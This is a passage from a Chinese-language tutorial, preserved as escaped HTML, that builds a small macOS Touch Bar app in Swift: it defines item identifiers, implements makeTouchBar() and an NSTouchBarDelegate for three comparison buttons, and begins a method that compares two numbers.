    &lt;span class=&quot;kd&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;applicationWillTerminate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;aNotification&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Notification&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// Insert code here to tear down your application&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;再点击 &lt;code class=&quot;highlighter-rouge&quot;&gt;WindowController.xib&lt;/code&gt;，拖拽组件，摆放如下图所示（一共五个 NSTextField，以及一个 NSButton）：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ooo.0o0.ooo/2016/10/28/58131de528b2f.png&quot; alt=&quot;Step 3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;现在，可以转战 &lt;code class=&quot;highlighter-rouge&quot;&gt;WindowController.swift&lt;/code&gt;，专注于 TouchBar 的开发了。&lt;/p&gt;

&lt;h3 id=&quot;implement-touchbar--实现-touchbar&quot;&gt;Implement TouchBar / 实现 TouchBar&lt;/h3&gt;

&lt;p&gt;在实现之前，先来结合文档了解一下接下来所使用到的属性和方法。&lt;/p&gt;

&lt;div class=&quot;language-swift highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;open&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSTouchBar&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSCoding&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// 初始化方法&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;init&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;init&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;?(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;coder&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;aDecoder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSCoder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

	&lt;span class=&quot;c1&quot;&gt;// 用于标识自定义 TouchBar&lt;/span&gt;
	&lt;span class=&quot;c1&quot;&gt;// 如果标识符不存在，则无法自定义 TouchBar 中的内容&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;open&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;customizationIdentifier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSTouchBarCustomizationIdentifier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;?&lt;/span&gt;

	&lt;span class=&quot;c1&quot;&gt;// 存储 TouchBar 中不同 Item 的标识的数组&lt;/span&gt;
	&lt;span class=&quot;c1&quot;&gt;// 分别对应了&lt;/span&gt;
	&lt;span class=&quot;c1&quot;&gt;// 1. 可自定义的 BarItem 对象&lt;/span&gt;
	&lt;span class=&quot;c1&quot;&gt;// 2. 不可移除的 BarItem 对象&lt;/span&gt;
	&lt;span class=&quot;c1&quot;&gt;// 3. 默认显示的 BarItem 对象&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;open&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;customizationAllowedItemIdentifiers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;NSTouchBarItemIdentifier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;open&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;customizationRequiredItemIdentifiers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;NSTouchBarItemIdentifier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;open&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;defaultItemIdentifiers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;NSTouchBarItemIdentifier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// 用于动态生成 BarItem&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// 需要实现 NSTouchBarDelegate 协议&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;weak&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;open&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;delegate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSTouchBarDelegate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;?&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;其他的属性和方法在这里不再深究。通过初步了解，为了实现一个&lt;strong&gt;能够自定义的、最基本的&lt;/strong&gt; TouchBar，你需要：&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;给你的 TouchBar 和 Bar Item 生成标识符&lt;/li&gt;
  &lt;li&gt;告诉 TouchBar 默认会显示哪些 Bar Item&lt;/li&gt;
  &lt;li&gt;让 TouchBar 生成这些 Bar Item&lt;/li&gt;
&lt;/ol&gt;

&lt;h4 id=&quot;给你的-touchbar-和-bar-item-生成标识符&quot;&gt;给你的 TouchBar 和 Bar Item 生成标识符&lt;/h4&gt;

&lt;p&gt;打卡 &lt;code class=&quot;highlighter-rouge&quot;&gt;WindowController.swift&lt;/code&gt;，在 &lt;code class=&quot;highlighter-rouge&quot;&gt;import Cocoa&lt;/code&gt; 和 &lt;code class=&quot;highlighter-rouge&quot;&gt;class WindowController&lt;/code&gt; 中间插入以下代码，用于生成 TouchBar 和 Bar Item 的标识符：&lt;/p&gt;

&lt;div class=&quot;language-swift highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;fileprivate&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;extension&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSTouchBarCustomizationIdentifier&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;touchBar&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSTouchBarCustomizationIdentifier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;io.Cee.TouchBarSample.touchBar&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;fileprivate&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;extension&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSTouchBarItemIdentifier&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;smaller&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSTouchBarItemIdentifier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;io.Cee.TouchBarSample.smaller&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;equal&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSTouchBarItemIdentifier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;io.Cee.TouchBarSample.equal&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;bigger&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSTouchBarItemIdentifier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;io.Cee.TouchBarSample.bigger&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h4 id=&quot;告诉-touchbar-默认会显示哪些-bar-item&quot;&gt;告诉 TouchBar 默认会显示哪些 Bar Item&lt;/h4&gt;

&lt;p&gt;有了这些标识符，你就可以自定义 TouchBar 中间显示的内容了。在 &lt;code class=&quot;highlighter-rouge&quot;&gt;windowDidLoad()&lt;/code&gt; 方法下方实现 &lt;code class=&quot;highlighter-rouge&quot;&gt;makeTouchBar()&lt;/code&gt;：&lt;/p&gt;

&lt;div class=&quot;language-swift highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// MARK: - NSTouchBar&lt;/span&gt;
    
&lt;span class=&quot;kd&quot;&gt;@available(OSX 10.12.1, *)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;override&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;makeTouchBar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSTouchBar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;touchBar&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSTouchBar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    
    &lt;span class=&quot;c1&quot;&gt;// 接下来让 WindowController 实现 NSTouchBarDelegate&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// 生成 &amp;lt; = &amp;gt; 三个比较符号&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;touchBar&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;delegate&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt; 
    
    &lt;span class=&quot;c1&quot;&gt;// 给 TouchBar 一个标识&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;touchBar&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;customizationIdentifier&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;touchBar&lt;/span&gt;
    
    &lt;span class=&quot;c1&quot;&gt;// 提供默认的 Bar Item 选项&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;touchBar&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;defaultItemIdentifiers&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;smaller&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;equal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;touchBar&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;customizationAllowedItemIdentifiers&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;smaller&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;equal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;touchBar&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h4 id=&quot;让-touchbar-生成这些-bar-item&quot;&gt;让 TouchBar 生成这些 Bar Item&lt;/h4&gt;

&lt;p&gt;下面来实现 NSTouchBarDelegate。通过不同的标识（identifier）可以区别不同的 Bar Item。&lt;/p&gt;

&lt;div class=&quot;language-swift highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;extension&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;WindowController&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSTouchBarDelegate&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;@available(OSX 10.12.1, *)&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;touchBar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;touchBar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSTouchBar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;makeItemForIdentifier&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;identifier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSTouchBarItemIdentifier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSTouchBarItem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// 生成自定义的 Bar Item&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;touchBarItem&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSCustomTouchBarItem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;identifier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;identifier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        
        &lt;span class=&quot;c1&quot;&gt;// 根据不同标识生成不同的 title&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;switch&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;identifier&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSTouchBarItemIdentifier&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;smaller&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;title&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&amp;lt;&quot;&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSTouchBarItemIdentifier&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;equal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;title&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;=&quot;&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSTouchBarItemIdentifier&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;bigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;title&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&amp;gt;&quot;&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;default&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;title&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        
        &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;touchBarButton&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSButton&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;action&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;#selector(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;compare(with:)&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;touchBarItem&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;view&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;touchBarButton&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;touchBarItem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;我们在这里使用了自定义的 NSCustomTouchBarItem。系统同时也提供下面几种不同的 BarItem：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;NSGroupTouchBarItem&lt;/li&gt;
  &lt;li&gt;NSPopoverTouchBarItem&lt;/li&gt;
  &lt;li&gt;NSSliderTouchBarItem&lt;/li&gt;
  &lt;li&gt;NSColorPickerTouchBarItem&lt;/li&gt;
  &lt;li&gt;NSCandidateListTouchBarItem&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;完成剩余部分&quot;&gt;完成剩余部分&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;关联组件：使用 Ctrl-drag 将界面组件拖到代码中。&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-swift highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;@IBOutlet&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;weak&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;numberA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSTextField&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;@IBOutlet&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;weak&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;numberB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSTextField&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;@IBOutlet&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;weak&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;resultLabel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSTextField&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;实现比较方法 &lt;code class=&quot;highlighter-rouge&quot;&gt;compare(with:)&lt;/code&gt;：&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-swift highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// MARK: - Private Method&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;compare&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;symbol&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSButton&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;number1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;numberA&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;intValue&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;number2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;numberB&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;intValue&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Bool&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;switch&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;symbol&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;title&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&amp;lt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;number1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;number2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;=&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;number1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;number2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;number1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;number2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
